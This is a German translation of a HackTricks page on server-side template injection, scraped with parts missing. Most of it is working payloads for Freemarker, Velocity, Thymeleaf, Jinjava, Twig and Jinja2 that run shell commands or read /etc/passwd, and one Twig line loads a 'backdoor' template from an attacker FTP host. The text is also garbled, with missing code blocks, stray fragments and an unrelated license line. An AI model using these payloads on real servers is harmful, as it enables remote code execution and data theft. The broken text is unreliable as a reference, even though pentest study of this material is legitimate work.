Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an dieHackTricks und HackTricks Cloud Github-Repositories einreichen.
RootedCON ist das relevanteste Cybersicherheitsereignis in Spanien und eines der wichtigsten in Europa. Mit der Mission, technisches Wissen zu fördern, ist dieser Kongress ein brodelnder Treffpunkt für Technologie- und Cybersicherheitsprofis in jeder Disziplin.
Die serverseitige Template-Injektion ist eine Schwachstelle, die auftritt, wenn ein Angreifer bösartigen Code in ein Template injizieren kann, der auf dem Server ausgeführt wird. Diese Schwachstelle kann in verschiedenen Technologien gefunden werden, einschließlich Jinja.
Jinja ist eine beliebte Template-Engine, die in Webanwendungen verwendet wird. Betrachten wir ein Beispiel, das einen anfälligen Codeschnipsel unter Verwendung von Jinja demonstriert:
Im diesem anfälligen Code wird der name-Parameter aus der Benutzeranfrage direkt in das Template mit der render-Funktion übergeben. Dies könnte einem Angreifer potenziell ermöglichen, bösartigen Code in den name-Parameter einzufügen, was zu einer serverseitigen Template-Injection führen kann.
Ein Angreifer könnte beispielsweise eine Anfrage mit einem Payload wie diesem erstellen:
Die Nutzlast {{bad-stuff-here}} wird in den name-Parameter eingefügt. Diese Nutzlast kann Jinja-Template-Direktiven enthalten, die es dem Angreifer ermöglichen, nicht autorisierten Code auszuführen oder den Template-Engine zu manipulieren, wodurch potenziell die Kontrolle über den Server erlangt wird.
Um Schwachstellen bei serverseitigen Template-Injektionen zu verhindern, sollten Entwickler sicherstellen, dass Benutzereingaben ordnungsgemäß bereinigt und validiert werden, bevor sie in Templates eingefügt werden. Die Implementierung von Eingabevalidierung und die Verwendung von kontextbezogenen Escaping-Techniken können dazu beitragen, das Risiko dieser Schwachstelle zu minimieren.
Erkennung
Um Server-seitige Template-Injektionen (SSTI) zu erkennen, ist das Fuzzing des Templates zunächst ein direkter Ansatz. Dies beinhaltet das Einspritzen einer Sequenz von Sonderzeichen (${{<%[%'"}}%\) in das Template und die Analyse der Unterschiede in der Antwort des Servers auf reguläre Daten im Vergleich zu dieser speziellen Nutzlast. Anzeichen für Schwachstellen sind:
Geworfene Fehler, die die Schwachstelle und möglicherweise den Template-Engine offenlegen.
Fehlen der Nutzlast im Reflektieren oder Teile davon fehlen, was darauf hindeutet, dass der Server sie anders verarbeitet als reguläre Daten.
Klartextkontext: Unterscheidung von XSS, indem überprüft wird, ob der Server Template-Ausdrücke auswertet (z. B. {{7*7}}, ${7*7}).
Code-Kontext: Bestätigen Sie die Schwachstelle, indem Sie Eingabeparameter ändern. Ändern Sie beispielsweise greeting in http://vulnerable-website.com/?greeting=data.username, um zu sehen, ob die Ausgabe des Servers dynamisch oder fest ist, wie bei greeting=data.username}}hello, das den Benutzernamen zurückgibt.
Identifikationsphase
Die Identifizierung des Template-Engine beinhaltet die Analyse von Fehlermeldungen oder das manuelle Testen verschiedener sprachspezifischer Nutzlasten. Häufige Nutzlasten, die Fehler verursachen, sind ${7/0}, {{7/0}} und <%= 7/0 %>. Die Beobachtung der Antwort des Servers auf mathematische Operationen hilft dabei, die spezifische Template-Engine zu lokalisieren.
eine interaktive Tabelle, die die effizientesten Vorlageinjektions-Polyglots zusammen mit den erwarteten Antworten der 44 wichtigsten Vorlagen-Engines enthält.
Exploits
Generisch
In dieser Wortliste finden Sie Variablen, die in den Umgebungen einiger der unten genannten Engines definiert sind:
${7*7}${{7*7}}${class.getClassLoader()}${class.getResource("").getPath()}${class.getResource("../../../../../index.htm").getContent()}// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
<#assign ex ="freemarker.template.utility.Execute"?new()>${ ex("id")}[#assign ex ='freemarker.template.utility.Execute'?new()]${ ex('id')}${"freemarker.template.utility.Execute"?new()("id")}${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
Freemarker - Sandbox umgehen
⚠️ funktioniert nur bei Freemarker-Versionen unter 2.3.30
// I think this doesn't work#set($str=$class.inspect("java.lang.String").type)#set($chr=$class.inspect("java.lang.Character").type)#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))$ex.waitFor()#set($out=$ex.getInputStream())#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end// This should work?#set($s="")#set($stringClass=$s.getClass())#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())#set($process=$runtime.exec("cat%20/flag563378e453.txt"))#set($out=$process.getInputStream())#set($null=$process.waitFor() )#foreach($i+in+[1..$out.available()])$out.read()#end
In Thymeleaf ist ein häufiger Test für SSTI-Schwachstellen der Ausdruck ${7*7}, der auch für diese Template-Engine gilt. Für potenzielle Remote-Code-Ausführung können Ausdrücke wie die folgenden verwendet werden:
Thymeleaf erfordert, dass diese Ausdrücke in bestimmten Attributen platziert werden. Allerdings wird Expression Inlining für andere Vorlagenorte unterstützt, wobei Syntax wie [[...]] oder [(...)] verwendet wird. Daher könnte ein einfaches SSTI-Test-Payload wie [[${7*7}]] aussehen.
Die Wahrscheinlichkeit, dass dieses Payload funktioniert, ist jedoch im Allgemeinen gering. Die Standardkonfiguration von Thymeleaf unterstützt keine dynamische Vorlagenerstellung; Vorlagen müssen vordefiniert sein. Entwickler müssten ihren eigenen TemplateResolver implementieren, um Vorlagen aus Zeichenfolgen dynamisch zu erstellen, was unüblich ist.
Thymeleaf bietet auch Expression Preprocessing an, bei dem Ausdrücke innerhalb von doppelten Unterstrichen (__...__) vorverarbeitet werden. Diese Funktion kann beim Aufbau von Ausdrücken genutzt werden, wie in der Dokumentation von Thymeleaf demonstriert:
#{selection.__${sel.code}__}
Beispiel für eine Schwachstelle in Thymeleaf
Betrachten Sie den folgenden Code-Schnipsel, der anfällig für Ausnutzung sein könnte:
Dies deutet darauf hin, dass wenn der Template-Engine diese Eingaben nicht ordnungsgemäß verarbeitet, dies zu einer Remote-Code-Ausführung führen kann, die auf URLs wie folgt zugreift:
{% set cmd ='id'%}{% set bytes = (1).TYPE.forName('java.lang.Runtime').methods[6].invoke(null,null).exec(cmd).inputStream.readAllBytes() %}{{ (1).TYPE.forName('java.lang.String').constructors[0].newInstance(([bytes]).toArray()) }}
Jinjava (Java)
Jinjava ist eine leistungsstarke und benutzerfreundliche Template-Engine für Java. Es wird häufig in Webanwendungen verwendet, um dynamische Inhalte zu generieren. Jinjava unterstützt Server-seitige Template-Injection (SSTI), was zu potenziell gefährlichen Sicherheitslücken führen kann. Es ist wichtig, Jinjava sicher zu konfigurieren und Eingaben ordnungsgemäß zu validieren, um SSTI-Angriffe zu verhindern.
{{'a'.toUpperCase()}} would result in 'A'{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
{{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest
{{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
Suche nach "com.hubspot.content.hubl.context.TemplateContextRequest" und entdeckte das Jinjava-Projekt auf Github.
{{request.isDebug()}}//output: False//Using string 'a' to get an instance of class sun.misc.Launcher{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}//output: sun.misc.Launcher@715537d4//It is also possible to get a new object of the Jinjava class{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}//output: com.hubspot.jinjava.JinjavaConfig@78a56797//It was also possible to call methods on the created object by combining the{%%} and {{ }} blocks{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}{{ji.render('{{1*2}}')}}//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.
//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx//RCE{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e//RCE with org.apache.commons.io.IOUtils.{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution//Multiple arguments to the commandsPayload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
Expression Language (EL) ist eine grundlegende Funktion, die die Interaktion zwischen der Präsentationsschicht (wie Webseiten) und der Anwendungslogik (wie verwaltete Beans) in JavaEE erleichtert. Es wird umfassend in mehreren JavaEE-Technologien eingesetzt, um diese Kommunikation zu optimieren. Zu den wichtigsten JavaEE-Technologien, die EL nutzen, gehören:
JavaServer Faces (JSF): Verwendet EL, um Komponenten in JSF-Seiten mit den entsprechenden Backend-Daten und Aktionen zu verknüpfen.
JavaServer Pages (JSP): EL wird in JSP verwendet, um auf Daten in JSP-Seiten zuzugreifen und diese zu manipulieren, was es erleichtert, Seitenelemente mit den Anwendungsdaten zu verbinden.
Contexts and Dependency Injection for Java EE (CDI): EL integriert sich mit CDI, um eine nahtlose Interaktion zwischen der Web-Ebene und verwalteten Beans zu ermöglichen und so eine kohärentere Anwendungsstruktur sicherzustellen.
Überprüfen Sie die folgende Seite, um mehr über die Ausnutzung von EL-Interpretern zu erfahren:
RootedCON ist das relevanteste Cybersicherheitsereignis in Spanien und eines der wichtigsten in Europa. Mit der Mission, technisches Wissen zu fördern, ist dieser Kongress ein brodelnder Treffpunkt für Technologie- und Cybersicherheitsfachleute in jeder Disziplin.
#Get Info{{_self}}#(Ref. to current application){{_self.env}}{{dump(app)}}{{app.request.server.all|join(',')}}#File read"{{'/etc/passwd'|file_excerpt(1,30)}}"@#Exec code{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}{{['id']|filter('system')}}{{['cat\x20/etc/passwd']|filter('system')}}{{['cat$IFS/etc/passwd']|filter('system')}}{{['id',""]|sort('system')}}#Hide warnings and errors for automatic exploitation{{["error_reporting","0"]|sort("ini_set")}}
Plates ist eine Vorlagen-Engine, die nativ für PHP ist und sich von Twig inspirieren lässt. Im Gegensatz zu Twig, das eine neue Syntax einführt, verwendet Plates nativen PHP-Code in Vorlagen, was es für PHP-Entwickler intuitiv macht.
Controller:
// Create new Plates instance$templates =newLeague\Plates\Engine('/path/to/templates');// Render a templateecho $templates->render('profile', ['name'=>'Jonathan']);
<html><head><title>{PAGE_TITLE}</title></head><body><table><caption>Authors</caption><thead><tr><th>Name</th><th>Email</th></tr></thead><tfoot><tr><tdcolspan="2">{NUM_AUTHORS}</td></tr></tfoot><tbody><!-- BEGIN authorline --><tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr><!-- END authorline --></tbody></table></body></html>
This project is licensed under the MIT License - see the LICENSE file for details.
<?php//we want to display this author list$authors =array('Christian Weiske'=>'cweiske@php.net','Bjoern Schotte'=>'schotte@mayflower.de');require_once'HTML/Template/PHPLIB.php';//create template object$t =&newHTML_Template_PHPLIB(dirname(__FILE__),'keep');//load file$t->setFile('authors','authors.tpl');//set block$t->setBlock('authors','authorline','authorline_ref');//set some variables$t->setVar('NUM_AUTHORS',count($authors));$t->setVar('PAGE_TITLE','Code authors as of '.date('Y-m-d'));//display the authorsforeach ($authors as $name => $email) {$t->setVar('AUTHOR_NAME', $name);$t->setVar('AUTHOR_EMAIL', $email);$t->parse('authorline_ref','authorline',true);}//finish and echoecho $t->finish($t->parse('OUT','authors'));?>
patTemplate ist eine PHP-Template-Engine, die XML-Tags verwendet, um ein Dokument in verschiedene Teile zu unterteilen.
<patTemplate:tmplname="page">This is the main page.<patTemplate:tmplname="foo">It contains another template.</patTemplate:tmpl><patTemplate:tmplname="hello">Hello {NAME}.<br/></patTemplate:tmpl></patTemplate:tmpl>
Jinja2 ist eine voll ausgestattete Template-Engine für Python. Es bietet volle Unicode-Unterstützung, eine optionale integrierte Sandbox-Ausführungsumgebung, wird weit verbreitet eingesetzt und ist unter der BSD-Lizenz veröffentlicht.
{{7*7}} = Fehler
${7*7} = ${7*7}
{{foobar}} Nichts
{{4*4}}[[5*5]]
{{7*'7'}} = 7777777
{{config}}
{{config.items()}}
{{settings.SECRET_KEY}}
{{settings}}
<div data-gb-custom-block data-tag="debug"></div>
{% debug %}{{settings.SECRET_KEY}}{{4*4}}[[5*5]]{{7*'7'}} would result in7777777
Jinja2 - Vorlagenformat
{% extends "layout.html"%}{% block body %}<ul>{%for user in users %}<li><a href="{{ user.url }}">{{ user.username }}</a></li>{% endfor %}</ul>{% endblock %}
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read()}}{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read()}}{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read()}}# Or in the shotest versions:{{ cycler.__init__.__globals__.os.popen('id').read()}}{{ joiner.__init__.__globals__.os.popen('id').read()}}{{ namespace.__init__.__globals__.os.popen('id').read()}}
Die .NET System.Diagnostics.Process.Start Methode kann verwendet werden, um jeden Prozess auf dem Server zu starten und somit eine Webshell zu erstellen. Ein anfälliges Webanwendungsbeispiel finden Sie unter https://github.com/cnotin/RazorVulnerableApp
Auch wenn es Perl ist, verwendet es Tags wie ERB in Ruby.
<%= 7*7 %> = 49
<%= foobar %> = Fehler
<%= perl code %>
<% perl code %>
SSTI in GO
In der Go-Template-Engine kann die Bestätigung ihrer Verwendung mit spezifischen Payloads erfolgen:
{{ . }}: Zeigt die Datenstruktur-Eingabe an. Wenn beispielsweise ein Objekt mit einem Password-Attribut übergeben wird, könnte {{ .Password }} es offenlegen.
{{printf "%s" "ssti" }}: Sollte den String "ssti" anzeigen.
{{html "ssti"}}, {{js "ssti"}}: Diese Payloads sollten "ssti" zurückgeben, ohne "html" oder "js" anzuhängen. Weitere Anweisungen können in der Go-Dokumentation hier erkundet werden.
XSS-Ausnutzung
Mit dem Paket text/template kann XSS einfach durch direktes Einfügen des Payloads erfolgen. Im Gegensatz dazu codiert das Paket html/template die Antwort, um dies zu verhindern (z.B. führt {{"<script>alert(1)</script>"}} zu <script>alert(1)</script>). Nichtsdestotrotz können die Template-Definition und -Aufruf in Go diese Codierung umgehen: {{define "T1"}}alert(1){{end}} {{template "T1"}}
vbnet Copy code
RCE-Ausnutzung
Die RCE-Ausnutzung unterscheidet sich erheblich zwischen html/template und text/template. Das Modul text/template erlaubt den direkten Aufruf beliebiger öffentlicher Funktionen (unter Verwendung des Werts "call"), was in html/template nicht erlaubt ist. Die Dokumentation für diese Module ist verfügbar hier für html/template und hier für text/template.
Für RCE über SSTI in Go können Objektmethode aufgerufen werden. Wenn beispielsweise das bereitgestellte Objekt eine System-Methode hat, die Befehle ausführt, kann es wie folgt ausgenutzt werden: {{ .System "ls" }}. Der Zugriff auf den Quellcode ist normalerweise erforderlich, um dies auszunutzen, wie im gegebenen Beispiel:
RootedCON ist das relevanteste Cybersicherheitsereignis in Spanien und eines der wichtigsten in Europa. Mit der Mission, technisches Wissen zu fördern, ist dieser Kongress ein brodelnder Treffpunkt für Technologie- und Cybersicherheitsprofis in jeder Disziplin.
